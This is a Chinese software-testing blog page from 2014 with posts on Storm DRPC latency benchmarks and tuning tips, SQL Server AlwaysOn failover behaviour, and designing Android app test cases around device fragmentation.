            客戶端為虛擬機,單核3.2GHz  1G 內存,100M帶寬。
            服務器也是虛擬機,8核2.2GHz,8G內存,1G帶寬。
            DRPC Topology由一個DRPCSpout,CPPBolt和一個ReturnResult組成。功能是接收一個字符串并返回。
            Topology運行在一個work中,Spout,Bolt分別由不同的線程執行。
           2)測試方法
            在Client啟動0-100多個線程,不停的訪問Topology,向其發送一個字符串(1K-1M)。Topology會原封不動的返回該字符串。
            測試過程就不詳細展開了。直接說測試結果。
            3)測試結論
            該測試中,處理速度主要受限于客戶端帶寬。也就是說由于數據量大,客戶端發的速度慢,低于Storm中topology的處理速度。
            因此該測試只能得出DRPC方式中單個請求在不同數據大小時,storm的延遲時間。
            簡而言之,StormDRPC方式中,最小延遲為50ms(數據小于1K),當數據量大時,256K數據,延遲為125ms,512K時延遲為208ms。
            所以Storm數據量較大的時,處理的延遲還是比較大的。
            當然以上僅是在特定環境中的測試,僅供參考。
            改進方法
            根據個人經驗,針對以上Storm延遲可以由以下改進方法:
            1)數據可以先壓縮后再交給storm處理,在具體的bolt中對其進行解壓縮。根據個人測試zlib壓縮1M的數據,壓縮率為80%,既可以將數據研所為原來的20%。從而可以減小數據量,提高效率。而zlib對1M數據進行壓縮、解壓縮所用時間在10ms以內。可以使情況選用。見[參考7]
            2)storm本身采用字符型傳輸,對于二進制數據必須進行編碼。可采用base64編碼。參見[參考5],base64對1M數據的編碼,解碼時間也分別小于10ms。
            3)在DRPC測試中,數據從Clinet到DRPCServer,到DRPC SPOUT,到BOLT,到RETURN Result,在到DRPCSERVER,最后返回Client傳輸多次,可以考慮使用內存數據庫如redis,Client直接將數據放入redis,將其在redis中的路徑進行傳輸,在需要時,由bolt從redis中獲取。參見[參考8]。將1M數據在redis中存取,耗時也分別在10-20ms。
            4)對于外部處理程序,如C++,可以采用JNI的方式,對ShellBolt進行改進,而不是啟動新的進程在通過Json編碼,Pipe傳輸與之通訊,從而也可以提交效率。參見[參考4]。

          posted @ 2014-12-08 20:40 順其自然EVO 閱讀(297) | 評論 (0)編輯 收藏

          AlwaysOn可用性組功能測試(2)-SQL Server群集故障轉移

          三、 SQL Server群集故障轉移對AlwaysOn可用性組的影響
            1. 主副本在SQL Server群集CLUSTEST03/CLUSTEST03上
            1.1將節點轉移Server02.以下是故障轉移界面。
            1.2 服務脫機,alwaysOn自然脫機,但偵聽IP并沒有脫機。
            1.3 SQL服務聯機后,偵聽IP【10.0.0.224】會脫機重啟,alwaysOn資源組聯機


          .4 轉移后恢復正常,連接正常,語句執行正常。
            2. 主副本在SERVER03的服務上
            2.1 當前主副本在SERVER03上,SQL Server故障轉移對可用性組沒有影響。以下轉移脫機界面。
            測試總結
            A、 若主副本在SQL 群集上,當服務脫機時候,偵聽IP并不會脫機,AlwaysOn會脫機;可用組不可用。
            B、 當服務重新聯機,偵聽IP會脫機重新聯機,偵聽IP會發生順斷。
            C、 重新聯機到AlwaysOn連接過程使用20秒左右。
            D、 當主副本不在SQL群集上,群集的故障轉移對可用性組沒有影響。
          相關文章
          AlwaysOn可用性組功能測試(1)-故障轉移測試




          posted @ 2014-12-08 20:38 順其自然EVO 閱讀(948) | 評論 (0)編輯 收藏

          如何設計Android App測試用例

          在當今競爭激烈的市場上一個APP的成功離不開一個可靠的用戶界面(UI)。因此,對功能和用戶體驗有一些特殊關注和照顧的UI的全面測試是必不可少的。當涉及到安卓平臺及其提出的獨特問題的數量(安卓就UI提出顯著挑戰)時,挑戰變得更加復雜。關鍵字“碎片化”象征著移動應用全面測試的最大障礙,還表明了發布到市場上的所有形態、大小、配置類型的安卓設備所引起的困難。本文將介紹安卓模擬器如何能通過使用一些技巧和簡單的實踐提供覆蓋大量設備類型的廣泛測試。
            簡介—分散裝置里的測試
            一般安卓開發者在其日常工作中面臨的最大挑戰之一是:終端設備和操作系統版本的范圍太廣。OpenSignal進行的一項研究表明,2013年7月市場上有超過11,828的不同安卓終端設備,所有設備在類型/大小/屏幕分辨率以及特定配置方面有所不同。考慮到前一年的調查僅記錄有3,997款不同設備,這實在是一個越來越大的挑戰障礙。
           
           圖1.11,828 款安卓設備類型( OpenSignal研究, 2013年7月[ 1 ] )分布
            從一個移動APP開發角度出發,定義終端設備有四個基本特征:
            1.操作系統:由“API指標”( 1 ?18 )專業定義的安卓操作系統版本( 1.1? 4.3 ),。
            2.顯示器:屏幕主要是由屏幕分辨率(以像素為單位),屏幕像素密度( 以DPI為單位),和/或屏幕尺寸(以英寸為單位)定義的。
            3.CPU:該“應用程序二進制接口” (ABI )定義CPU的指令集。這里的主要區別是ARM和基于Intel的CPU。
            4.內存:一個設備包括內存儲器( RAM)和Dalvik 虛擬存儲器( VM堆)的預定義的堆內存。
            這是前兩個特點,操作系統和顯示器,都需要特別注意,因為他們是直接由最終用戶明顯感受,且應該不斷嚴格地被測試覆蓋。至于安卓的版本, 2013年7月市場上有八個同時運行導致不可避免的碎片的不同版本。七月,近90%這些設備中的34.1 %正在運行Gingerbread版本( 2.3.3-2.3.7 ),32.3 %正在運行Jelly Bean( 4.1.x版),23.3 %正在運行Ice Cream Sandwich( 4.0.3 - 4.0.4 )。
            
          圖2.16款安卓版本分布(OpenSignal研究,2013年7月[1])
            考慮設備顯示器,一項TechCrunch從2013年4月進行的研究顯示,絕大多數(79.9%)有效設備正在使用尺寸為3和4.5英寸的“正常”屏幕。這些設備的屏幕密度在“MDPI”(160 DPI),“hdpi”(240 DPI)和“xhdpi”(320 DPI)之間變化。也有例外, 一種只占9.5%的設備屏幕密度低“hdpi”(120 DPI)且屏幕小。
            
          圖3. 常見的屏幕尺寸和密度的分布(谷歌研究,2013年4月)[2]
            如果這種多樣性在質量保證過程中被忽略了,那么絕對可以預見:bugs會潛入應用程序,然后是bug報告的風暴,最后Google Play Store中出現負面用戶評論。因此,目前的問題是:你怎么使用合理水平的測試工作切實解決這一挑戰?定義測試用例及一個伴隨測試過程是一個應付這一挑戰的有效武器。
            用例—“在哪測試”、“測試什么”、“怎么測試”、“何時測試”?
            “在哪測試”
            為了節省你測試工作上所花的昂貴時間,我們建議首先要減少之前所提到的32個安卓版本組合及代表市場上在用的領先設備屏的5-10個版本的顯示屏。選擇參考設備時,你應該確保覆蓋了足夠廣范圍的版本和屏幕類型。作為參考,您可以使用OpenSignal的調查或使用手機檢測的信息圖[3],來幫助選擇使用最廣的設備。


          為了滿足好奇心,可以從安卓文件[5]將屏幕的尺寸和分辨率映射到上面數據的密度(“ldpi”,“mdpi”等)及分辨率(“小的”,“標準的”,等等)上。
            
          圖4.多樣性及分布很高的安卓終端設備的六個例子(手機檢測研究,2013年2月)[3]
            有了2013手機檢測研究的幫助,很容易就找到了代表性的一系列設備。有一件有趣的瑣事:30%印度安卓用戶的設備分辨率很低只有240×320像素,如上面列表中看到的,三星Galaxy Y S5360也在其中。另外,480×800分辨率像素現在最常用(上表中三星Galaxy S II中可見)。
            “測試什么”
            移動APP必須提供最佳用戶體驗,以及在不同尺寸和分辨率(關鍵字“響應式設計”)的各種智能手機和平板電腦上被正確顯示(UI測試)。與此同時,apps必須是功能性的和兼容的(兼容性測試),有盡可能多的設備規格(內存,CPU,傳感器等)。加上先前獲得的“直接”碎片化問題(關于安卓的版本和屏幕的特性), “環境相關的”碎片化有著舉足輕重的作用。這種作用涉及到多種不同的情況或環境,其中用戶正在自己的環境中使用的終端設備。作為一個例子,如果網絡連接不穩定,來電中斷,屏幕鎖定等情況出現,你應該慎重考慮壓力測試[4]和探索性測試以確保完美無錯。
            
          圖5. 測試安卓設備的各個方面
            有必要提前準備覆蓋app最常用功能的所有可能的測試場景。早期bug檢測和源代碼中的簡單修改,只能通過不斷的測試才能實現。
            “怎么測試”
            將這種廣泛的多樣性考慮在內的一種務實方法是, 安卓模擬器 - 提供了一個可調節的工具,該工具幾乎可以模仿標準PC上安卓的終端用戶設備。簡而言之,安卓模擬器是QA流程中用各種設備配置(兼容性測試)進行連續回歸測試(用戶界面,單元和集成測試)的理想工具。探索性測試中,模擬器可以被配置到一個范圍廣泛的不同場景中。例如,模擬器可以用一種能模擬連接速度或質量中變化的方式來設定。然而,真實設備上的QA是不可缺少的。實踐中,用作參考的虛擬設備依然可以在一些小的(但對于某些應用程序來說非常重要)方面有所不同,比如安卓操作系統中沒有提供程序特定的調整或不支持耳機和藍牙。真實硬件上的性能在評價過程中發揮了自身的顯著作用,它還應該在考慮了觸摸硬件支持和設備物理形式等方面的所有可能終端設備上進行測試(可用性測試)。
            “何時測試”
            既然我們已經定義了在哪里(參考設備)測試 ,測試什么(測試場景),以及如何( 安卓模擬器和真實設備)測試,簡述一個過程并確定何時執行哪一個測試場景就至關重要了。因此,我們建議下面的兩級流程:
            1 .用虛擬設備進行的回歸測試。
            這包括虛擬參考設備上用來在早期識別出基本錯誤的連續自動化回歸測試。這里的理念是快速地、成本高效地識別bugs。
            2 .用真實設備進行的驗收測試。
            這涉及到:“策劃推廣”期間將之發布到Google Play Store前在真實設備上的密集測試(主要是手動測試),(例如,Google Play[ 5 ]中的 alpha和beta測試組) 。
            在第一階段,測試自動化極大地有助于以經濟實惠的方式實現這一策略。在這一階段,只有能輕易被自動化(即可以每日執行)的測試用例才能包含在內。
            在一個app的持續開發過程中,這種自動化測試為開發人員和測試人員提供了一個安全網。日常測試運行確保了核心功能正常工作,app的整體穩定性和質量由測試數據透明地反映出來,認證回歸可以輕易地與最近的變化關聯。這種測試可以很輕易地被設計并使用SaaS解決方案(如云中的TestObject的UI移動app測試)從測試人員電腦上被記錄下來。
            當且僅當這個階段已被成功執行了,這個過程才會在第二階段繼續勞動密集測試。這里的想法是:如果核心功能通過自動測試就只投入測試資源,使測試人員能夠專注于先進場景。這個階段可能包括測試用例,例如性能測試,可用性測試,或兼容性測試。這兩種方法相結合產生了一個強大的移動apps質量保證策略[ 7 ] 。
            結論 - 做對測試
            用正確的方式使用,測試可以在對抗零散的安卓的斗爭中成為一個有力的工具。一個有效的測試策略的關鍵之處在于定義手頭app的定制測試用例,并定義一個簡化測試的工作流程或過程。測試一個移動app是一個重大的挑戰,但它可以用一個結構化的方法和正確的工具集合以及專業知識被有效解決掉。

          posted @ 2014-12-08 20:35 順其自然EVO 閱讀(481) | 評論 (0)編輯 收藏

          僅列出標題
          共394頁: First 上一頁 3 4 5 6 7 8 9 10 11 下一頁 Last 
          <2025年7月>
          293012345
          6789101112
          13141516171819
          20212223242526
          272829303112
          3456789

          導航

          統計

          常用鏈接

          留言簿(55)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          搜索

          最新評論

          閱讀排行榜

          評論排行榜

          主站蜘蛛池模板: 财经| 剑川县| 兰溪市| 崇信县| 崇文区| 石泉县| 鄂伦春自治旗| 新巴尔虎左旗| 金沙县| 秦安县| 云梦县| 八宿县| 客服| 义乌市| 黄山市| 无为县| 金溪县| 上杭县| 永州市| 宁南县| 平南县| 安阳县| 德惠市| 西贡区| 渭南市| 潮安县| 新泰市| 和林格尔县| 怀仁县| 咸阳市| 平度市| 军事| 商河县| 深泽县| 湖南省| 昆山市| 资中县| 文安县| 永兴县| 昭苏县| 望江县|